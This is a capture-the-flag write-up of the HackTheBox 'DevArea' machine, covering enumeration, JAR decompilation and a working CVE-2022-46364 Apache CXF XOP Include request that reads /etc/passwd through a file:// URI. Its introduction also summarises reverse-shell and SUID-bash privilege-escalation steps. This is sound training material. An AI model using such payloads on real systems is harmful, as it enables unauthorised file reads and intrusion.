<< return to writeups

HTB: Devarea

Introduction

Greetings! Today, we're diving into DevArea, a box from HackTheBox.

Our journey begins with an anonymous FTP login that discloses an employee-service.jar file. Decompiling it with jadx reveals a SOAP web service built on Apache CXF running on port 8080. We exploit CVE-2022-46364, an SSRF vulnerability in Apache CXF's XOP Include handling, to read arbitrary files from the server via the file:// URI scheme. We use this to read /etc/passwd and then iterate through /proc/<pid>/cmdline to enumerate all running processes — discovering Hoverfly launching with its admin credentials exposed as command-line arguments.

We use those credentials to authenticate to the Hoverfly Dashboard on port 8888 and configure a malicious middleware script via the API, which executes as dev_ryan and gives us a reverse shell. We drop our SSH key and stabilise the foothold.

For root, dev_ryan can run /opt/syswatch/syswatch.sh as root via sudo. The script uses #!/bin/bash as its shebang, and /usr/bin/bash turns out to be world-writable. We replace it with a malicious wrapper that drops a SUID copy of bash before exec-ing the real one, trigger the sudo command, and own the box.

Without further ado, let's get into it.

Scanning

We ran a full TCP scan with nmap.

┌──(kali㉿kali)-[~/Documents/htb/devarea]
└─$ nmap -sSCV -p- -T4 -oA scan/nmap.tcp 10.129.109.198 
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-29 00:00 EDT
Nmap scan report for 10.129.109.198
Host is up (0.15s latency).
Not shown: 65529 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.5
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.10.14.15
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.5 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x    2 ftp      ftp          4096 Sep 22  2025 pub
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 83:13:6b:a1:9b:28:fd:bd:5d:2b:ee:03:be:9c:8d:82 (ECDSA)
|_  256 0a:86:fa:65:d1:20:b4:3a:57:13:d1:1a:c2:de:52:78 (ED25519)                                                                                                                                                                        
80/tcp   open  http    Apache httpd 2.4.58                                                                                                                                                                                               
|_http-title: Did not follow redirect to http://devarea.htb/                                                                                                                                                                             
|_http-server-header: Apache/2.4.58 (Ubuntu)                                                                                                                                                                                             
8080/tcp open  http    Jetty 9.4.27.v20200227                                                                                                                                                                                            
|_http-server-header: Jetty(9.4.27.v20200227)                                                                                                                                                                                            
|_http-title: Error 404 Not Found                                                                                                                                                                                                        
8500/tcp open  http    Golang net/http server                                                                                                                                                                                            
| fingerprint-strings:                                                                                                                                                                                                                   
|   FourOhFourRequest:                                                                                                                                                                                                                   
|     HTTP/1.0 500 Internal Server Error                                                                                                                                                                                                 
|     Content-Type: text/plain; charset=utf-8                                                                                                                                                                                            
|     X-Content-Type-Options: nosniff                                                                                                                                                                                                    
|     Date: Sun, 29 Mar 2026 04:07:06 GMT                                                                                                                                                                                                
|     Content-Length: 64                                                                                                                                                                                                                 
|     This is a proxy server. Does not respond to non-proxy requests.                                                                                                                                                                    
|   GenericLines, Help, LPDString, RTSPRequest, SIPOptions, SSLSessionReq, Socks5:                                                                                                                                                       
|     HTTP/1.1 400 Bad Request                                                                                                                                                                                                           
|     Content-Type: text/plain; charset=utf-8                                                                                                                                                                                            
|     Connection: close                                                                                                                                                                                                                  
|     Request                                                                                                                                                                                                                            
|   GetRequest, HTTPOptions:                                                                                                                                                                                                             
|     HTTP/1.0 500 Internal Server Error                                                                                                                                                                                                 
|     Content-Type: text/plain; charset=utf-8                                                                                                                                                                                            
|     X-Content-Type-Options: nosniff                                                                                                                                                                                                    
|     Date: Sun, 29 Mar 2026 04:06:49 GMT                                                                                                                                                                                                
|     Content-Length: 64                                                                                                                                                                                                                 
|_    This is a proxy server. Does not respond to non-proxy requests.                                                                                                                                                                    
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
8888/tcp open  http    Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Hoverfly Dashboard
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8500-TCP:V=7.95%I=7%D=3/29%Time=69C8A475%P=x86_64-pc-linux-gnu%r(Ge
SF:nericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20t
SF:ext/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x
SF:20Request")%r(GetRequest,E9,"HTTP/1\.0\x20500\x20Internal\x20Server\x20
SF:Error\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nX-Content-Typ
SF:e-Options:\x20nosniff\r\nDate:\x20Sun,\x2029\x20Mar\x202026\x2004:06:49
SF:\x20GMT\r\nContent-Length:\x2064\r\n\r\nThis\x20is\x20a\x20proxy\x20ser
SF:ver\.\x20Does\x20not\x20respond\x20to\x20non-proxy\x20requests\.\n")%r(
SF:HTTPOptions,E9,"HTTP/1\.0\x20500\x20Internal\x20Server\x20Error\r\nCont
SF:ent-Type:\x20text/plain;\x20charset=utf-8\r\nX-Content-Type-Options:\x2
SF:0nosniff\r\nDate:\x20Sun,\x2029\x20Mar\x202026\x2004:06:49\x20GMT\r\nCo
SF:ntent-Length:\x2064\r\n\r\nThis\x20is\x20a\x20proxy\x20server\.\x20Does
SF:\x20not\x20respond\x20to\x20non-proxy\x20requests\.\n")%r(RTSPRequest,6
SF:7,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x
SF:20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%
SF:r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/
SF:plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Re
SF:quest")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConte
SF:nt-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\
SF:n400\x20Bad\x20Request")%r(FourOhFourRequest,E9,"HTTP/1\.0\x20500\x20In
SF:ternal\x20Server\x20Error\r\nContent-Type:\x20text/plain;\x20charset=ut
SF:f-8\r\nX-Content-Type-Options:\x20nosniff\r\nDate:\x20Sun,\x2029\x20Mar
SF:\x202026\x2004:07:06\x20GMT\r\nContent-Length:\x2064\r\n\r\nThis\x20is\
SF:x20a\x20proxy\x20server\.\x20Does\x20not\x20respond\x20to\x20non-proxy\
SF:x20requests\.\n")%r(LPDString,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\
SF:nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\
SF:r\n\r\n400\x20Bad\x20Request")%r(SIPOptions,67,"HTTP/1\.1\x20400\x20Bad
SF:\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnect
SF:ion:\x20close\r\n\r\n400\x20Bad\x20Request")%r(Socks5,67,"HTTP/1\.1\x20
SF:400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\
SF:r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request");
Service Info: Host: _; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 206.55 seconds

Six open ports. FTP with anonymous login on 21, a web server on 80, a Jetty instance on 8080, a proxy server on 8500, and a Hoverfly Dashboard on 8888. This is a busy box — we'll work through each service systematically.

Enumerating FTP

Anonymous login was permitted, and inside the pub directory we found a JAR file.

┌──(kali㉿kali)-[~/Documents/htb/devarea]
└─$ ftp 10.129.109.198
Connected to 10.129.109.198.
220 (vsFTPd 3.0.5)
Name (10.129.109.198:kali): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
ftp> bin
200 Switching to Binary mode.
ftp> ls
229 Entering Extended Passive Mode (|||40106|)
150 Here comes the directory listing.
drwxr-xr-x    2 ftp      ftp          4096 Sep 22  2025 pub
226 Directory send OK.
ftp> cd pub
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||48775|)
150 Here comes the directory listing.
-rw-r--r--    1 ftp      ftp       6445030 Sep 22  2025 employee-service.jar
226 Directory send OK.
ftp> get employee-service.jar
local: employee-service.jar remote: employee-service.jar
229 Entering Extended Passive Mode (|||44376|)
150 Opening BINARY mode data connection for employee-service.jar (6445030 bytes).
100% |********************************************************************************************************************************************************************************************|  6293 KiB  773.86 KiB/s    00:00 ETA
226 Transfer complete.
6445030 bytes received in 00:08 (760.22 KiB/s)
ftp> 

We tried writing files to both pub and the root FTP directory, but both returned Permission denied. The JAR is our main lead.

┌──(kali㉿kali)-[~/Documents/htb/devarea]
└─$ echo "Test x40" > test.txt

┌──(kali㉿kali)-[~/Documents/htb/devarea]
└─$
ftp> pwd
Remote directory: /pub
ftp> put test.txt
local: test.txt remote: test.txt
229 Entering Extended Passive Mode (|||42070|)
550 Permission denied.
ftp> cd ..
250 Directory successfully changed.
ftp> put test.txt
local: test.txt remote: test.txt
229 Entering Extended Passive Mode (|||48284|)
550 Permission denied.
ftp> 

Enumerating web

devarea.htb on port 80 is a standard corporate landing page with no exploitable functionality. Subdomain fuzzing returned no results. Directory fuzzing only found /assets and /server-status (forbidden).

Port 8888 hosts the Hoverfly Dashboard — a GUI for the Hoverfly proxy tool. We noted this and moved on.

Enumerating the JAR file

We decompiled employee-service.jar with jadx-gui to understand what's running on port 8080.

┌──(kali㉿kali)-[~/Documents/htb/devarea]
└─$ jadx-gui ftp/employee-service.jar 

The key classes were EmployeeService (a JAX-WS interface), EmployeeServiceImpl (the implementation), Report (a data class with employeeName, department, content, and confidential fields), and ServerStarter which reveals the service address:

package htb.devarea;

import javax.jws.WebService;

/* JADX INFO: loaded from: employee-service.jar:htb/devarea/EmployeeService.class */
@WebService(name = "EmployeeService", targetNamespace = "http://devarea.htb/")
public interface EmployeeService {
    String submitReport(Report report);
}
package htb.devarea;

/* JADX INFO: loaded from: employee-service.jar:htb/devarea/EmployeeServiceImpl.class */
public class EmployeeServiceImpl implements EmployeeService {
    @Override // htb.devarea.EmployeeService
    public String submitReport(Report report) {
        String str;
        if (report.isConfidential()) {
            str = "Report marked confidential. Thank you, " + report.getEmployeeName();
        } else {
            str = "Report received from " + report.getEmployeeName();
        }
        String greeting = str;
        return greeting + ". Department: " + report.getDepartment() + ". Content: " + report.getContent();
    }
}
package htb.devarea;

/* JADX INFO: loaded from: employee-service.jar:htb/devarea/Report.class */
public class Report {
    private String employeeName;
    private String department;
    private String content;
    private boolean confidential;

    public String getEmployeeName() {
        return this.employeeName;
    }

    public void setEmployeeName(String employeeName) {
        this.employeeName = employeeName;
    }

    public String getDepartment() {
        return this.department;
    }

    public void setDepartment(String department) {
        this.department = department;
    }

    public String getContent() {
        return this.content;
    }

    public void setContent(String content) {
        this.content = content;
    }

    public boolean isConfidential() {
        return this.confidential;
    }

    public void setConfidential(boolean confidential) {
        this.confidential = confidential;
    }

    public String toString() {
        return "Report{employeeName='" + this.employeeName + "', department='" + this.department + "', content='" + this.content + "', confidential=" + this.confidential + '}';
    }
}
package htb.devarea;

import org.apache.cxf.jaxws.JaxWsServerFactoryBean;

/* JADX INFO: loaded from: employee-service.jar:htb/devarea/ServerStarter.class */
public class ServerStarter {
    public static void main(String[] args) {
        JaxWsServerFactoryBean factory = new JaxWsServerFactoryBean();
        factory.setServiceClass(EmployeeService.class);
        factory.setServiceBean(new EmployeeServiceImpl());
        factory.setAddress("http://0.0.0.0:8080/employeeservice");
        factory.create();
        System.out.println("Employee Service running at http://localhost:8080/employeeservice");
        System.out.println("WSDL available at http://localhost:8080/employeeservice?wsdl");
    }
}

We fetched the WSDL to confirm the service structure.

GET /employeeservice?wsdl HTTP/1.1
Host: devarea.htb:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i

The WSDL confirmed a single submitReport operation accepting a report object. We interacted with it to verify it was live.

HTTP/1.1 200 OK
Date: Sun, 29 Mar 2026 04:28:21 GMT
Content-Type: text/xml;charset=utf-8
Content-Length: 2751
Server: Jetty(9.4.27.v20200227)

<?xml version='1.0' encoding='UTF-8'?><wsdl:definitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/" xmlns:tns="http://devarea.htb/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" xmlns:ns1="http://schemas.xmlsoap.org/soap/http" name="EmployeeServiceService" targetNamespace="http://devarea.htb/">
  <wsdl:types>
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:tns="http://devarea.htb/" elementFormDefault="unqualified" targetNamespace="http://devarea.htb/" version="1.0">

  <xs:element name="submitReport" type="tns:submitReport"/>

  <xs:element name="submitReportResponse" type="tns:submitReportResponse"/>

  <xs:complexType name="submitReport">
    <xs:sequence>
      <xs:element minOccurs="0" name="arg0" type="tns:report"/>
    </xs:sequence>
  </xs:complexType>

  <xs:complexType name="report">
    <xs:sequence>
      <xs:element name="confidential" type="xs:boolean"/>
      <xs:element minOccurs="0" name="content" type="xs:string"/>
      <xs:element minOccurs="0" name="department" type="xs:string"/>
      <xs:element minOccurs="0" name="employeeName" type="xs:string"/>
    </xs:sequence>
  </xs:complexType>

  <xs:complexType name="submitReportResponse">
    <xs:sequence>
      <xs:element minOccurs="0" name="return" type="xs:string"/>
    </xs:sequence>
  </xs:complexType>

</xs:schema>
  </wsdl:types>
  <wsdl:message name="submitReport">
    <wsdl:part element="tns:submitReport" name="parameters">
    </wsdl:part>
  </wsdl:message>
  <wsdl:message name="submitReportResponse">
    <wsdl:part element="tns:submitReportResponse" name="parameters">
    </wsdl:part>
  </wsdl:message>
  <wsdl:portType name="EmployeeService">
    <wsdl:operation name="submitReport">
      <wsdl:input message="tns:submitReport" name="submitReport">
    </wsdl:input>
      <wsdl:output message="tns:submitReportResponse" name="submitReportResponse">
    </wsdl:output>
    </wsdl:operation>
  </wsdl:portType>
  <wsdl:binding name="EmployeeServiceServiceSoapBinding" type="tns:EmployeeService">
    <soap:binding style="document" transport="http://schemas.xmlsoap.org/soap/http"/>
    <wsdl:operation name="submitReport">
      <soap:operation soapAction="" style="document"/>
      <wsdl:input name="submitReport">
        <soap:body use="literal"/>
      </wsdl:input>
      <wsdl:output name="submitReportResponse">
        <soap:body use="literal"/>
      </wsdl:output>
    </wsdl:operation>
  </wsdl:binding>
  <wsdl:service name="EmployeeServiceService">
    <wsdl:port binding="tns:EmployeeServiceServiceSoapBinding" name="EmployeeServicePort">
      <soap:address location="http://devarea.htb:8080/employeeservice"/>
    </wsdl:port>
  </wsdl:service>
</wsdl:definitions>
POST /employeeservice HTTP/1.1
Host: devarea.htb:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/xml
Content-Length: 435

<soapenv:Envelope
    xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
    xmlns:tns="http://devarea.htb/"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
    <soapenv:Body>
        <tns:submitReport>
            <arg0>
                <confidential>false</confidential>
                <content>test</content>
                <department>IT</department>
                <employeeName>test</employeeName>
            </arg0>
        </tns:submitReport>
    </soapenv:Body>
</soapenv:Envelope>  
HTTP/1.1 200 OK
Date: Sun, 29 Mar 2026 04:39:06 GMT
Content-Type: text/xml;charset=iso-8859-1
Content-Length: 267
Server: Jetty(9.4.27.v20200227)

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><ns2:submitReportResponse xmlns:ns2="http://devarea.htb/"><return>Report received from test. Department: IT. Content: test</return></ns2:submitReportResponse></soap:Body></soap:Envelope>

The service was responding correctly.

CVE-2022-46364 — Apache CXF SSRF to arbitrary file read

The Apache CXF version for this project is 3.2.14.

CVE-2022-46364 is a vulnerability in this version of Apache CXF where MTOM (Message Transmission Optimization Mechanism) requests can include an XOP Include element with an arbitrary href URI. When the href points to a file:// URL, the CXF server fetches the file from the local filesystem and returns its contents embedded in the SOAP response — giving us an unauthenticated arbitrary file read.

We sent the exploit as a multipart/related request with XOP Include referencing /etc/passwd.

POST /employeeservice HTTP/1.1
Host: devarea.htb:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: multipart/related; type="application/xop+xml"; boundary="----=_Part_1"; start="<root@example.com>"; start-info="text/xml"
Content-Length: 662

------=_Part_1
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"
Content-Transfer-Encoding: 8bit
Content-ID: <root@example.com>

<soapenv:Envelope
    xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
    xmlns:tns="http://devarea.htb/">
    <soapenv:Body>
        <tns:submitReport>
            <arg0>
                <confidential>false</confidential>
                <content>
                    <xop:Include
                        xmlns:xop="http://www.w3.org/2004/08/xop/include" href="file:///etc/passwd"/>
                    </content>
                    <department>IT</department>
                    <employeeName>test</employeeName>
                </arg0>
            </tns:submitReport>
        </soapenv:Body>
    </soapenv:Envelope>

------=_Part_1--  

The response returned the file contents base64-encoded inside the <return> tag. Decoding it revealed /etc/passwd, confirming a user dev_ryan with a home directory and login shell.

HTTP/1.1 200 OK
Date: Sun, 29 Mar 2026 04:57:30 GMT
Content-Type: text/xml;charset=utf-8
Content-Length: 2919
Server: Jetty(9.4.27.v20200227)

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><ns2:submitReportResponse xmlns:ns2="http://devarea.htb/"><return>Report received from test. Department: IT. Content: cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovcnVuL2lyY2Q6L3Vzci9zYmluL25vbG9naW4KX2FwdDp4OjQyOjY1NTM0Ojovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4Kbm9ib2R5Ong6NjU1MzQ6NjU1MzQ6bm9ib2R5Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLW5ldHdvcms6eDo5OTg6OTk4OnN5c3RlbWQgTmV0d29yayBNYW5hZ2VtZW50Oi86L3Vzci9zYmluL25vbG9naW4Kc3lzdGVtZC10aW1lc3luYzp4Ojk5Nzo5OTc6c3lzdGVtZCBUaW1lIFN5bmNocm9uaXphdGlvbjovOi91c3Ivc2Jpbi9ub2xvZ2luCm1lc3NhZ2VidXM6eDoxMDE6MTAyOjovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4Kc3lzdGVtZC1yZXNvbHZlOng6OTkyOjk5MjpzeXN0ZW1kIFJlc29sdmVyOi86L3Vzci9zYmluL25vbG9naW4KcG9sbGluYXRlOng6MTAyOjE6Oi92YXIvY2FjaGUvcG9sbGluYXRlOi9iaW4vZmFsc2UKcG9sa2l0ZDp4Ojk5MTo5OTE6VXNlciBmb3IgcG9sa2l0ZDovOi91c3Ivc2Jpbi9ub2xvZ2luCnN5c2xvZzp4OjEwMzoxMDQ6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgp1dWlkZDp4OjEwNDoxMDU6Oi9ydW4vdXVpZGQ6L3Vzci9zYmluL25vbG9naW4KdGNwZHVtcDp4OjEwNToxMDc6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgp0c3M6eDoxMDY6MTA4OlRQTSBzb2Z0d2FyZSBzdGFjaywsLDovdmFyL2xpYi90cG06L2Jpbi9mYWxzZQpsYW5kc2NhcGU6eDoxMDc6MTA5OjovdmFyL2xpYi9sYW5kc2NhcGU6L3Vzci9zYmluL25vbG9naW4KZnd1cGQtcmVmcmVzaDp4Ojk4OTo5ODk6RmlybXdhcmUgdXBkYXRlIGRhZW1vbjovdmFyL2xpYi9md3VwZDovdXNyL3NiaW4vbm9sb2dpbgp1c2JtdXg6eDoxMDg6NDY6dXNibXV4IGRhZW1vbiwsLDovdmFyL2xpYi91c2JtdXg6L3Vzci9zYmluL25vbG9naW4Kc3NoZDp4OjEwOTo2NTUzNDo6L3J1bi9zc2hkOi91c3Ivc2Jpbi9ub2xvZ2luCmRldl9yeWFuOng6MTAwMToxMDAxOjovaG9tZS9kZXZfcnlhbjovYmluL2Jhc2gKZnRwOng6MTEwOjExMTpmdHAgZGFlbW9uLCwsOi9zcnYvZnRwOi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3dhdGNoOng6OTg0Ojk4NDo6L29wdC9zeXN3YXRjaDovdXNyL3NiaW4vbm9sb2dpbgpwb3N0Zml4Ong6MTExOjExMjo6L3Zhci9zcG9vbC9wb3N0Zml4Oi91c3Ivc2Jpbi9ub2xvZ2luCl9sYXVyZWw6eDo5OTk6OTg3OjovdmFyL2xvZy9sYXVyZWw6L2Jpbi9mYWxzZQpkaGNwY2Q6eDoxMDA6NjU1MzQ6REhDUCBDbGllbnQgRGFlbW9uLCwsOi91c3IvbGliL2RoY3BjZDovYmluL2ZhbHNlCg==</return></ns2:submitReportResponse></soap:Body></soap:Envelope>
┌──(kali㉿kali)-[~/Documents/htb/devarea]
└─$ echo cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovcnVuL2lyY2Q6L3Vzci9zYmluL25vbG9naW4KX2FwdDp4OjQyOjY1NTM0Ojovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4Kbm9ib2R5Ong6NjU1MzQ6NjU1MzQ6bm9ib2R5Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLW5ldHdvcms6eDo5OTg6OTk4OnN5c3RlbWQgTmV0d29yayBNYW5hZ2VtZW50Oi86L3Vzci9zYmluL25vbG9naW4Kc3lzdGVtZC10aW1lc3luYzp4Ojk5Nzo5OTc6c3lzdGVtZCBUaW1lIFN5bmNocm9uaXphdGlvbjovOi91c3Ivc2Jpbi9ub2xvZ2luCm1lc3NhZ2VidXM6eDoxMDE6MTAyOjovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4Kc3lzdGVtZC1yZXNvbHZlOng6OTkyOjk5MjpzeXN0ZW1kIFJlc29sdmVyOi86L3Vzci9zYmluL25vbG9naW4KcG9sbGluYXRlOng6MTAyOjE6Oi92YXIvY2FjaGUvcG9sbGluYXRlOi9iaW4vZmFsc2UKcG9sa2l0ZDp4Ojk5MTo5OTE6VXNlciBmb3IgcG9sa2l0ZDovOi91c3Ivc2Jpbi9ub2xvZ2luCnN5c2xvZzp4OjEwMzoxMDQ6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgp1dWlkZDp4OjEwNDoxMDU6Oi9ydW4vdXVpZGQ6L3Vzci9zYmluL25vbG9naW4KdGNwZHVtcDp4OjEwNToxMDc6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgp0c3M6eDoxMDY6MTA4OlRQTSBzb2Z0d2FyZSBzdGFjaywsLDovdmFyL2xpYi90cG06L2Jpbi9mYWxzZQpsYW5kc2NhcGU6eDoxMDc6MTA5OjovdmFyL2xpYi9sYW5kc2NhcGU6L3Vzci9zYmluL25vbG9naW4KZnd1cGQtcmVmcmVzaDp4Ojk4OTo5ODk6RmlybXdhcmUgdXBkYXRlIGRhZW1vbjovdmFyL2xpYi9md3VwZDovdXNyL3NiaW4vbm9sb2dpbgp1c2JtdXg6eDoxMDg6NDY6dXNibXV4IGRhZW1vbiwsLDovdmFyL2xpYi91c2JtdXg6L3Vzci9zYmluL25vbG9naW4Kc3NoZDp4OjEwOTo2NTUzNDo6L3J1bi9zc2hkOi91c3Ivc2Jpbi9ub2xvZ2luCmRldl9yeWFuOng6MTAwMToxMDAxOjovaG9tZS9kZXZfcnlhbjovYmluL2Jhc2gKZnRwOng6MTEwOjExMTpmdHAgZGFlbW9uLCwsOi9zcnYvZnRwOi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3dhdGNoOng6OTg0Ojk4NDo6L29wdC9zeXN3YXRjaDovdXNyL3NiaW4vbm9sb2dpbgpwb3N0Zml4Ong6MTExOjExMjo6L3Zhci9zcG9vbC9wb3N0Zml4Oi91c3Ivc2Jpbi9ub2xvZ2luCl9sYXVyZWw6eDo5OTk6OTg3OjovdmFyL2xvZy9sYXVyZWw6L2Jpbi9mYWxzZQpkaGNwY2Q6eDoxMDA6NjU1MzQ6REhDUCBDbGllbnQgRGFlbW9uLCwsOi91c3IvbGliL2RoY3BjZDovYmluL2ZhbHNlCg== | base64 -d
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
